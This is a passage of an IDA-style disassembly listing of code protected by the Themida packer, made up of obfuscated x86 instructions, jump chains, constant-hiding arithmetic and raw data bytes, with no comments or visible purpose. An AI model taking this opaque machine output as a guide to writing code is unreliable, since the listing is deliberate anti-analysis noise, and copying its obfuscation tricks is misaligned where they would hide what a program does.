		dd 83240C8Bh, 0C70104C4h, 2C78158h, 87000000h, 248B243Ch
		dd 2404D224h, 0A077E99Ch, 0E9550000h, 0AD0Ch, 28512C59h
		dd 0E95104D0h, 0FFFFF94Ah
; ---------------------------------------------------------------------------

loc_55CF3C:				; CODE XREF: Themida_:0055C1B9j
		add	ebp, 4
		push	edi
		mov	edi, 4
		jmp	loc_55670C
; ---------------------------------------------------------------------------
aXhbf		db 'XhBf',0
		dw 8900h
		dd 0E2892414h, 4C281h, 0EA810000h, 4, 564DE9h
		db 0
; ---------------------------------------------------------------------------

loc_55CF69:				; CODE XREF: Themida_:005537ADj
		sub	ecx, edi
		jmp	loc_560E43
; ---------------------------------------------------------------------------

loc_55CF70:				; CODE XREF: Themida_:0055E918j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_56154E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55424A
; ---------------------------------------------------------------------------

loc_55CF9A:				; CODE XREF: Themida_:00553D90j
		pop	esi
		not	ecx
		xor	ecx, 4688FB76h
		add	ebp, ecx
		pop	ecx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55F108
; ---------------------------------------------------------------------------
		db 0B9h, 2 dup(0FFh)
		dd 0CF01FFFFh, 5E95259h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55CFC3:				; CODE XREF: Themida_:0055DCC8j
		sub	ebp, 7DEF25CCh
		jmp	loc_5564DD
; ---------------------------------------------------------------------------
		dw 3433h
		dd 42DE924h, 0F3280000h, 2F00E95Ah, 0E6890000h,	4C681h
		dd 0EE830000h, 0F40AE904h, 0C483FFFFh, 24048F04h, 0FFCCF7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55CFF9:				; CODE XREF: Themida_:00566839j
		add	esp, 4
		add	esi, 17072BDFh
		jmp	loc_555A48
; ---------------------------------------------------------------------------
		db 31h
		dd 0EE315EF5h, 0E9242C8Bh, 0FFFFA419h
; ---------------------------------------------------------------------------

loc_55D014:				; CODE XREF: Themida_:0055D634j
		add	esp, 4
		mov	ebp, esi
		pop	esi
		push	eax
		mov	eax, 19554B68h
		jmp	loc_562118
; ---------------------------------------------------------------------------

loc_55D025:				; CODE XREF: Themida_:0055BED1j
		and	edi, 0DC634A0h
		push	edx
		mov	edx, 7E4B50A3h
		sub	edx, 8A91851Fh
		add	edi, edx
		jmp	loc_5606D2
; ---------------------------------------------------------------------------

loc_55D03E:				; CODE XREF: Themida_:00563457j
		add	bl, 25h
		jmp	loc_564859
; ---------------------------------------------------------------------------
		dw 5551h
		dd 0F42D9968h, 4BE95D6Bh
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D053:				; CODE XREF: Themida_:0055D55Cj
		add	esi, 4
		sub	esi, 4
		jmp	loc_55E997
; ---------------------------------------------------------------------------
aKPs9v		db '½#K',9,'pé9‚',0
		dw 5000h
		dd 5729FCB8h, 0AACE963h, 805A0000h, 34FF24EFh, 24048B24h
		dd 0E904C483h, 0FFFFBFBFh, 5FD4BB53h, 0D3F769ADh, 5AC38143h
		dd 50343508h, 0EA9430B8h, 58C301B4h, 0FF5D13E9h, 4EC81FFh
		dd 89000000h, 9AB3241Ch, 0E94ECB80h, 0FFFFBF54h, 9D1C77FFh
		dd 1CD25966h, 37E99C24h
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D0C7:				; CODE XREF: Themida_:0055C055j
		pop	ebp
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55308D
; ---------------------------------------------------------------------------
		db 5
		dd 376E071Ch, 1C2DF801h, 5F376E07h, 6D84E9h
		db 0
; ---------------------------------------------------------------------------

loc_55D0E5:				; CODE XREF: Themida_:00553D7Dj
		push	40D23CE6h
		pop	edi
		push	4C9Eh
		mov	[esp], edx
		jmp	loc_5621CD
; ---------------------------------------------------------------------------
		dd 0E68FE950h, 0E089FFFFh, 405h, 4BD5500h, 1000000h, 4875DE8h
		dd 0A6685C24h, 89000079h, 0E6892434h, 4EC81h, 69E90000h
		dd 1FFFFF0h, 20C381FBh,	8B35B22Fh, 0C481243Ch, 4, 0FFB9D5E9h
		dd 57C981FFh, 87203A6Fh, 31DEF7F1h, 31CE31F1h, 4956E9F1h
		dd 53AD0000h, 4EC81h, 0EE90000h, 0C10000A3h, 0D7E903E1h
		db 0A7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D167:				; CODE XREF: Themida_:005618C9j
		add	esp, 4
		push	ax
		push	edx
		mov	dl, 0A5h
		push	eax
		mov	ah, 0B3h
		xor	dl, ah
		pop	eax
		shr	dl, 8
		xor	dl, 45h
		add	dl, 0A0h
		sub	dl, 0A7h
		mov	al, dl
		pop	edx
		sub	bl, al
		pop	ax
		add	bl, cl
		add	bl, 3Eh
		pop	ecx
		sub	bl, 0Eh
		jmp	loc_554524
; ---------------------------------------------------------------------------
		dw 1487h
		dd 0BA525C24h, 4, 505AD701h, 2B8h, 58C70100h, 8B243C87h
		dd 8B662424h, 0F6E92414h, 8BFFFFA5h, 0C4812404h, 4, 4245401h
		dd 0FF7A88E9h, 20EC80FFh, 0E958E200h, 9D88h
; ---------------------------------------------------------------------------

loc_55D1D8:				; CODE XREF: Themida_:005672C6j
		push	ebp
		push	554718BAh
		pop	ebp
		xor	ebp, 79056C04h
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edi, 74F534BAh
		add	edi, 34715F03h
		add	edi, esi
		jmp	loc_560C6D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 24343300h, 33243431h, 0E95C2434h, 0FFFF55E6h
		dd 0E924348Bh, 0A51Eh, 0E92434FFh, 0AA34h, 4C181h, 0DAE90000h
		dd 29FFFFE3h, 0E908246Ch, 0FFFF80E3h, 0CE89F989h, 50240C8Bh
		dd 4055854h, 0E9000000h, 0FFFF614Dh
; ---------------------------------------------------------------------------

loc_55D250:				; CODE XREF: Themida_:0055CB0Cj
		xor	ecx, 40233EDCh
		jmp	loc_55799F
; ---------------------------------------------------------------------------

loc_55D25B:				; CODE XREF: Themida_:0055D396j
		mov	esi, [esp]
		jmp	loc_556A78
; ---------------------------------------------------------------------------

loc_55D263:				; CODE XREF: Themida_:00567C29j
		add	bh, 0
		sub	al, 0F8h
		jmp	loc_557D72
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 12h
		dd 311E2F53h, 0AEE5E9FBh, 0F740FFFFh, 571035D0h, 5E255218h
		dd 0F725036Ch, 8FE92DD0h, 0C6317921h, 0B1F68158h, 89A054D0h
		dd 8C0CE9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D29E:				; CODE XREF: Themida_:00559753j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	32C4h
		mov	[esp], esi
		pop	dword ptr [edi+24h]
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		inc	esi
		push	dword ptr [edi+24h]
		push	70E1h
		jmp	loc_558F31
; ---------------------------------------------------------------------------
		align 4
		dd 8B5966C8h, 41682414h, 89000047h, 0E2892414h,	4C281h
		dd 0C2830000h, 24148704h, 0E9D8005Ch, 54B7h, 7D326850h
		dd 2D585AADh, 2AE20B64h, 5007E0C1h, 0F7243C87h,	243C87D7h
		dd 42413558h, 0B6E966FAh
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D323:				; CODE XREF: Themida_:00554F50j
		add	bl, cl
		jmp	loc_553AA9
; ---------------------------------------------------------------------------
		dw 4F68h
		dd 8900002Ch, 4832424h,	348B0424h, 4C48124h, 50000000h
		dd 4B8h, 0ECC68100h, 11CF45Bh, 0ECEE81C6h, 581CF45Bh, 0A8BB5357h
		dd 5056E477h, 3659E9h, 0EEC38100h, 157D418h, 2E0E9C3h
		dd 5B540000h, 0FF995EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55D375:				; CODE XREF: Themida_:00564D8Cj
		add	esp, 4
		xor	ecx, eax
		mov	eax, [esp]
		push	62CDh
		jmp	loc_5536FA
; ---------------------------------------------------------------------------

loc_55D38A:				; CODE XREF: Themida_:0055D4B0j
		sub	[esp+4], esi
		sub	dword ptr [esp+4], 26E30EBDh
		jmp	loc_55D25B
; ---------------------------------------------------------------------------
aK_0		db '³K²»',0
		dd 0F2805BDAh, 80C2FE7Fh, 0F28031E2h, 23EA8041h, 0E95AD588h
		dd 0FFFFBBC5h, 4C481h, 3AE90000h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D3C3:				; CODE XREF: Themida_:0055E52Ej
		xor	eax, 22B35BC3h
		push	655Dh
		mov	[esp], edx
		mov	edx, 4C5F1FFCh
		sub	edx, 4C5F1FFBh
		sub	eax, edx
		jmp	loc_55F3CF
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 11696066h, 6C97E9h
		db 0
; ---------------------------------------------------------------------------

loc_55D3ED:				; CODE XREF: Themida_:0055A44Dj
		add	ebx, edx
		pop	edx
		and	ecx, ebx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_5600D1
; ---------------------------------------------------------------------------
		db 31h
		dd 34332434h, 3CD35C24h, 0EBE99C24h
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D413:				; CODE XREF: Themida_:0055EB79j
		push	esp
		pop	eax
		push	esi
		jmp	loc_5571C5
; ---------------------------------------------------------------------------

loc_55D41B:				; CODE XREF: Themida_:0056633Cj
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_55318E
; ---------------------------------------------------------------------------

loc_55D424:				; CODE XREF: Themida_:00552B5Bj
		xor	edx, esi
		xor	esi, edx
		push	51E4h
		jmp	loc_5605F7
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 80C328E1h, 0EB80E1C3h, 0C0B60FA9h, 0FFABB3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55D445:				; CODE XREF: Themida_:00560D9Ej
		neg	eax
		push	ebp
		jmp	loc_5583E3
; ---------------------------------------------------------------------------
aIS		db '‰Ú[é»`',0
		db 0
; ---------------------------------------------------------------------------

loc_55D455:				; CODE XREF: Themida_:00553CB0j
		mov	[esp], ebx
		push	ebp
		mov	ebp, 14520EFAh
		mov	ebx, 3A39240Ah
		xor	ebx, ebp
		pop	ebp
		push	ebp
		jmp	loc_5546F3
; ---------------------------------------------------------------------------
		dd 1125E381h, 0C38154E5h, 0F4361983h, 495BD931h, 0FFFFE981h
		dd 0E949FFFFh, 6C96h
; ---------------------------------------------------------------------------

loc_55D488:				; CODE XREF: Themida_:00560B7Ej
		xchg	edi, [esp]
		pop	ebp
		push	ecx
		mov	ecx, 638E0EF0h
		sub	ecx, 4DF39551h
		sub	ebp, ecx
		pop	ecx
		push	171Dh
		mov	[esp], edi
		jmp	loc_562D76
; ---------------------------------------------------------------------------

loc_55D4A8:				; CODE XREF: Themida_:0055A866j
		add	dword ptr [esp+4], 26E30EBDh
		jmp	loc_55D38A
; ---------------------------------------------------------------------------
		db 1, 0F9h, 0E9h
		dd 0FFFF6148h, 4EC81h, 14890000h, 34FF5424h, 7070E924h
		dd 0BB53FFFFh, 740C266Fh, 0FF61E6E9h, 6CE981FFh, 0E933040Ah
		dd 0FFFF8C9Fh
; ---------------------------------------------------------------------------

loc_55D4E4:				; CODE XREF: Themida_:005635E4j
		add	eax, 4
		sub	esp, 4
		mov	[esp], esi
		push	edx
		mov	edx, 6BBC116Ch
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5630CC
; ---------------------------------------------------------------------------
		dd 241CF751h, 81240C8Bh, 4C4h, 31CF3100h, 51CF31F9h, 669481B9h
		dd 59CF0130h, 34FFFE01h, 0C4835F24h, 0A2D3E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D52A:				; CODE XREF: Themida_:00564CCFj
		add	edx, esi
		mov	esi, [esp]
		jmp	loc_555157
; ---------------------------------------------------------------------------

loc_55D534:				; CODE XREF: Themida_:0055F57Cj
		xor	eax, 5B73F430h
		sub	edx, eax
		pop	eax
		sub	ebx, edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, ebx
		push	esi
		mov	esi, esp
		jmp	loc_55D053
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0CEh
		dd 2128583Ch, 240C8BCDh, 8706E9h, 2B976800h, 4890000h
		dd 59C06824h, 24890000h, 24048324h, 24048B04h, 7F65E9h
		db 0
; ---------------------------------------------------------------------------

loc_55D58D:				; CODE XREF: Themida_:0055DCBEj
		mov	esi, 0FFFFFFFFh
		mov	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_56228F
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 8704E883h, 0E95C2404h, 21Dh, 56243C8Bh, 7FE9E689h
		dd 81FFFF8Fh, 4C4h, 4C48300h, 0A591E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D5CA:				; CODE XREF: Themida_:0055E750j
		sub	edi, esi
		pop	esi
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	4221h
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		jmp	loc_55C153
; ---------------------------------------------------------------------------
		dd 4C1835Eh, 32B2E9h, 1F836800h, 2C890000h, 2474FF24h
		dd 48F5D04h, 24248B24h,	9C2424D3h, 0FF51DDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55D621:				; CODE XREF: Themida_:005671AFj
		shl	eax, 3
		add	eax, 1
		dec	eax
		xor	eax, 0CA7CB61Eh
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_55D014
; ---------------------------------------------------------------------------

loc_55D639:				; CODE XREF: Themida_:005630CEj
		mov	esi, edi
		jmp	loc_556433
; ---------------------------------------------------------------------------
		dd 0E9241489h, 79E7h, 5F27E95Eh, 0EB810000h, 57D418EEh
		dd 5F7968h, 0CD6CE900h,	0A1BAFFFFh, 2941DC9Bh, 0D0315BDAh
		dd 0E9C2015Ah, 1743h, 0B0506CB3h, 0E9E52410h, 0FFFF8368h
; ---------------------------------------------------------------------------

loc_55D67C:				; CODE XREF: Themida_:0056253Cj
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ch, 0Bh
		neg	ch
		neg	ch
		and	ch, 0B2h
		sub	esp, 4
		jmp	loc_5643A6
; ---------------------------------------------------------------------------

loc_55D692:				; CODE XREF: Themida_:00561981j
		mov	edi, 542F551Eh
		jmp	loc_553CC5
; ---------------------------------------------------------------------------

loc_55D69C:				; CODE XREF: Themida_:0055E9AEj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_557398
; ---------------------------------------------------------------------------
		db 80h,	0C2h, 66h
		dd 0E97DEA80h, 5C02h
; ---------------------------------------------------------------------------

loc_55D6BC:				; CODE XREF: Themida_:005614E4j
		mov	[esp], edi
		mov	edi, 368D0C1Dh
		push	edx
		mov	edx, 7E914CB4h
		and	edi, edx
		pop	edx
		jmp	loc_55F30D
; ---------------------------------------------------------------------------
		dw 0D189h
		dd 0E959CD89h, 0FFFF9C84h
; ---------------------------------------------------------------------------

loc_55D6DC:				; CODE XREF: Themida_:0055E118j
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5527FE
; ---------------------------------------------------------------------------

loc_55D6FA:				; CODE XREF: Themida_:00560BC6j
		push	eax
		push	4
		jmp	loc_5582EB
; ---------------------------------------------------------------------------

loc_55D705:				; CODE XREF: Themida_:0055F3A9j
		pop	ebp
		push	edi
		mov	edi, 38667A36h
		sub	dword ptr [esp+8], 52EA72B1h
		add	[esp+8], edi
		add	dword ptr [esp+8], 52EA72B1h
		jmp	loc_5552DB
; ---------------------------------------------------------------------------
		db 88h,	0EBh, 88h
		dd 30595BD8h, 2434FFF0h, 8324148Bh, 0C48104C4h,	4, 0C3885352h
		dd 1C8BDA88h, 4C48124h,	51000000h, 0CF88D188h, 83E95A59h
		dd 89000057h, 4C281E2h,	0E9000000h, 0FFFFE0F5h,	4C35C305h
		dd 0E9D0F7E2h, 0FFFFD6AAh, 81240C8Bh, 4C4h, 243C8B00h
		dd 0E9E28952h, 5E72h
; ---------------------------------------------------------------------------

loc_55D784:				; CODE XREF: Themida_:0055EBE1j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		push	5CEh
		mov	[esp], eax
		push	ebx
		mov	ebx, 5E2D31B2h
		and	ebx, 194923A6h
		or	ebx, 5385036Eh
		not	ebx
		sub	ebx, 64F6AEC9h
		mov	eax, ebx
		jmp	loc_556FFD
; ---------------------------------------------------------------------------

loc_55D7B6:				; CODE XREF: Themida_:0055C15Ej
		sub	ebx, 715C2907h
		add	ebx, esi
		add	ebx, 715C2907h
		pop	esi
		xor	ebx, [esp]
		jmp	loc_561CF5
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 42474FFh, 0FF2434FFh, 4E92434h, 0F6000095h, 0E99C241Ch
		dd 0FFFF5016h
; ---------------------------------------------------------------------------

loc_55D7E8:				; CODE XREF: Themida_:005546F8j
		add	ebx, ebp
		pop	ebp
		jmp	loc_55A80F
; ---------------------------------------------------------------------------
		dd 5C241C33h, 51241489h, 54B267B5h, 38E9EA28h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D803:				; CODE XREF: Themida_:0055E4B5j
		push	edi
		push	3EAE17D6h
		pop	edi
		xor	edi, 281238B8h
		mov	ecx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		push	28FE5A77h
		pop	ebp
		sub	ebp, 1E0C4CAFh
		sub	ebp, 0F435DE5Eh
		xor	ecx, ebp
		pop	ebp
		jmp	loc_55AE0F
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 240C8B24h, 0E904EC83h, 471Ch, 6852E089h, 513Ch, 25ABE9h
		db 0
; ---------------------------------------------------------------------------

loc_55D851:				; CODE XREF: Themida_:0055A12Fj
		sub	esp, 2
		mov	[esp], dx
		mov	dl, 0FDh
		jmp	loc_55F5A1
; ---------------------------------------------------------------------------

loc_55D85F:				; CODE XREF: Themida_:0056567Cj
		xor	edi, 280F73B2h
		push	ebx
		push	ebp
		push	6D5F5AFCh
		mov	ebp, [esp]
		jmp	loc_556654
; ---------------------------------------------------------------------------
		dd 0D2ED815Dh, 179222Ah, 0D2C581F5h, 5E79222Ah,	8B242C87h
		dd 89512424h, 4EC81F9h,	89000000h, 81512404h, 6722434h
		dd 48B5BD6h, 824AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D8A6:				; CODE XREF: Themida_:005545C4j
		pop	ecx
		shr	eax, 6
		jmp	loc_55907D
; ---------------------------------------------------------------------------
		db 81h
		dd 971F8FF7h, 0AA69E909h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D8BA:				; CODE XREF: Themida_:00564C50j
		push	ebp
		mov	ebp, 4
		jmp	loc_55F18B
; ---------------------------------------------------------------------------

loc_55D8C5:				; CODE XREF: Themida_:0055BBD4j
		xor	edx, 58EE1866h
		sub	edx, 486D09D5h
		add	edx, 3944E4CFh
		sub	ebp, 11C6207Eh
		add	ebp, edx
		push	eax
		mov	eax, 217375F3h
		sub	eax, 0FAD5575h
		add	ebp, eax
		pop	eax
		jmp	loc_5626E9
; ---------------------------------------------------------------------------
		dw 8358h
		dd 0F20104C4h, 0FF9BDEE9h, 0D9F741FFh, 60AA68h,	0B0A7E900h
		dd 4BFFFFFh, 81000000h,	75D67E9h, 0E9F90178h, 0FFFFD675h
; ---------------------------------------------------------------------------

loc_55D91C:				; CODE XREF: Themida_:0055C4B8j
		sub	ebx, 2A795FAAh
		shr	ebx, 4
		add	ebx, 679269DAh
		xor	ebx, 7525556Ch
		jmp	loc_554766
; ---------------------------------------------------------------------------

loc_55D936:				; CODE XREF: Themida_:00563B36j
		push	eax
		sub	esp, 4
		jmp	loc_560EAF
; ---------------------------------------------------------------------------
		db 89h
		dd 4B82404h, 29000000h,	1C3358C3h, 241C3124h, 0FFFE9BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55D955:				; CODE XREF: Themida_:00556A1Dj
		xor	esi, [esp]
		pop	esp
		add	bl, dh
		pop	edx
		add	bl, al
		sub	bl, 1Ah
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_55F581
; ---------------------------------------------------------------------------
		dd 24343166h, 24343366h, 24343166h, 66D63166h, 3166F231h
		dd 286866D6h, 14896618h, 5DECE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D98E:				; CODE XREF: Themida_:00556865j
		mov	ecx, [esp]
		jmp	loc_559F8E
; ---------------------------------------------------------------------------
aB0hkysa	db '÷0HKYéA&',0
		align 2

loc_55D9A2:				; CODE XREF: Themida_:0055574Bj
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_55C4D9
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0E9D7F7D7h, 0FFFF78D5h, 148BD389h, 4C48124h,	0C1000000h
		dd 0F38107E3h, 456B0F54h, 16CCEE81h, 0DE011882h, 16CCC681h
		dd 1C8B1882h, 1691E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D9EA:				; CODE XREF: Themida_:0055AC4Fj
		add	si, 124Eh
		shl	si, 2
		xor	si, 89B4h
		push	56C4h
		mov	[esp], eax
		push	si
		add	word ptr [esp],	112Ah
		pop	ax
		sub	ax, 112Ah
		mov	bx, ax
		pop	eax
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_553EBC
; ---------------------------------------------------------------------------

loc_55DA23:				; CODE XREF: Themida_:0055672Cj
		add	al, 20h
		mov	dh, al
		pop	eax
		xor	dh, 25h
		jmp	loc_567153
; ---------------------------------------------------------------------------
		dd 4C481h, 75680000h, 8900000Bh, 74FF240Ch, 8F590424h
		dd 665C2404h, 0E9240489h, 0FFFF4DAEh
; ---------------------------------------------------------------------------

loc_55DA50:				; CODE XREF: Themida_:00555EDCj
		add	ecx, 0E41DFDCEh
		jmp	loc_566DA2
; ---------------------------------------------------------------------------

loc_55DA5B:				; CODE XREF: Themida_:0055EF65j
		mov	[esp], ebx
		mov	ebx, 0
		add	ebx, edx
		xor	[ebx], eax
		jmp	loc_555B2A
; ---------------------------------------------------------------------------

loc_55DA6C:				; CODE XREF: Themida_:00557FC1j
		xor	eax, ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	7508h
		jmp	loc_565854
; ---------------------------------------------------------------------------
		db 0FFh
a4S		db '4$é[>',0
		db 0
; ---------------------------------------------------------------------------

loc_55DA8B:				; CODE XREF: Themida_:0055F895j
		mov	edi, [esp]
		jmp	loc_55BA1F
; ---------------------------------------------------------------------------
aSBs		db 'Áé',7,'éÛìš',0
		dd 26F7E9h, 240C8900h, 0FFE52BE9h, 500E68FFh, 14890000h
		dd 4EC8324h, 68240C89h,	3B05h, 52241C89h, 0E28062B2h, 6DC28006h
		dd 148BD788h, 4C48124h,	50000000h, 0FF70A2E9h, 0E95854FFh
		dd 65EEh, 92FBE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55DAE6:				; CODE XREF: Themida_:0056728Cj
		add	ebx, ecx
		jmp	loc_565A2C
; ---------------------------------------------------------------------------
		db 0B9h, 82h, 73h
		dd 0F18111CAh, 16AE388Eh, 6859CD01h, 59A5h, 0BE243489h
		dd 7CE25EC9h, 0DEF7464Eh, 4D9EE81h, 0EEC17CC7h,	2DBF5703h
		dd 0F74E9D20h, 5587E9D7h, 0C789FFFFh, 5FF80158h, 0B387E956h
		dd 0E952FFFFh, 0FFFF5FA2h, 0C806232Dh, 79F1356Ah, 0C7890D39h
		dd 6D49E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55DB46:				; CODE XREF: Themida_:0055409Aj
		pop	ecx
		add	ecx, 191B6E16h
		sub	ecx, 24C16C8Dh
		sub	ecx, edi
		add	ecx, 24C16C8Dh
		sub	ecx, 191B6E16h
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 0DB72A6AAh
		sub	ecx, ebp
		pop	ebp
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_55818F
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		push	5177h
		jmp	loc_564BBC
; ---------------------------------------------------------------------------
		dd 24048B66h, 22A56852h, 0C890000h, 81E18924h, 4C1h, 4E98100h
		dd 87000000h, 8BE9240Ch, 0B900003Ah, 2,	17E9CD01h, 81FFFFD7h
		dd 27125DEBh, 0B4EB8128h, 29319B16h, 0D396E9D9h, 814EFFFFh
		dd 4ECh, 24148900h, 0A8B2A9BAh,	8CC68121h, 0E9052B0Eh
		dd 6F19h, 0BDB5E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55DBEE:				; CODE XREF: Themida_:00562B13j
		add	edi, 181470F3h
		jmp	loc_565A35
; ---------------------------------------------------------------------------

loc_55DBF9:				; CODE XREF: Themida_:005575A0j
		xchg	edx, esi
		jmp	loc_566DF5
; ---------------------------------------------------------------------------

loc_55DC00:				; CODE XREF: Themida_:00565E5Fj
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		push	eax
		push	esp
		pop	eax
		push	ebp
		mov	ebp, 78064065h
		jmp	loc_555C45
; ---------------------------------------------------------------------------
		db 58h
		dd 0E95BFA28h, 0FFFFF30Ch, 5B5BDD01h, 739BC581h, 0F501599Bh
		dd 739BED81h, 0C581599Bh, 1E6377A6h, 0E924348Bh, 0FFFF6E85h
		dd 0B7B450h, 515858E7h,	0E98032B1h, 59CF0048h, 0C7E9E700h
		dd 8300000Dh, 0C8904ECh, 50595424h, 3EE268h, 241C8900h
		dd 4A4710BBh, 91CB813Eh, 0E918C911h, 2CF5h
; ---------------------------------------------------------------------------

loc_55DC7C:				; CODE XREF: Themida_:00556FF8j
		add	ecx, 0D2A902C6h
		and	ebx, ecx
		jmp	loc_55C077
; ---------------------------------------------------------------------------
		db 59h,	66h, 68h
		dd 65E9618Ch, 8BFFFFECh, 89572404h, 4BE56E7h, 1000000h
		dd 0C7835EF7h, 243C8704h, 0E924248Bh, 0FFFFE7DDh
; ---------------------------------------------------------------------------

loc_55DCB0:				; CODE XREF: Themida_:005594F6j
		sub	esp, 4
		mov	[esp], eax
		push	4698h
		mov	[esp], esi
		jmp	loc_55D58D
; ---------------------------------------------------------------------------

loc_55DCC3:				; CODE XREF: Themida_:005648E0j
		mov	ebx, 0DA73842Dh
		jmp	loc_55CFC3
; ---------------------------------------------------------------------------
		db 83h,	0C6h, 1
		dd 0F185F681h, 6C81C5E3h, 76670824h, 6C81492Ah,	6E8A0824h
		dd 24E93C1Ah, 3300009Ah, 4312404h, 24043324h, 8924248Bh
		dd 0A1682434h, 89000026h, 0BF57240Ch, 0C125566h, 0EDAB98B9h
		dd 5FF901F3h, 0FFDD92E9h, 0B25266FFh, 66D18815h, 5AD1005Ah
		dd 285AF128h, 240C8BC8h, 6E1BE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55DD2E:				; CODE XREF: Themida_:005642E9j
		pop	edx
		sub	edx, 71635FDFh
		mov	ecx, edx
		pop	edx
		pop	edi
		add	ecx, 0FFFFFFFFh
		jmp	loc_55CAD8
; ---------------------------------------------------------------------------

loc_55DD44:				; CODE XREF: Themida_:00554C50j
		push	ecx
		jmp	loc_55414C
; ---------------------------------------------------------------------------

loc_55DD4A:				; CODE XREF: Themida_:00560AE1j
		mov	esp, [esp]
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_56446E
; ---------------------------------------------------------------------------
		db 0ADh
		dd 61068h, 24348900h, 0E02C6BEh, 1BE9532Eh, 81FFFF76h
		dd 0D568C7C9h, 4C1814Ch, 1D7738Dh, 2434FFCBh, 4C48159h
		dd 0E9000000h, 885Ah
; ---------------------------------------------------------------------------

loc_55DD8C:				; CODE XREF: Themida_:00565963j
		sub	eax, 0C91A5BEAh
		mov	edx, eax
		pop	eax
		neg	edx
		jmp	loc_561F6A
; ---------------------------------------------------------------------------
aB_0		db 'ʳ|',0
		dd 21E8E917h, 0BF570000h, 600E037Fh, 0C28E9h, 2474FF00h
		dd 48F5F04h, 24248B24h,	0E9241489h, 0FFFF7071h,	2745C381h
		dd 0EB810BC0h, 1F286E8Fh, 8124148Bh, 4C4h, 241C3300h, 70FEE9h
		db 0
; ---------------------------------------------------------------------------

loc_55DDE1:				; CODE XREF: Themida_:00557539j
		sub	edx, 60891C8Ch
		jmp	loc_5658B5
; ---------------------------------------------------------------------------
		dd 240C8B66h, 36ED68h, 24348900h, 0C6815E54h, 4, 3B9BBF57h
		dd 0BF684098h, 0E9000026h, 0FFFF6A2Ah, 33240431h, 0B2E92404h
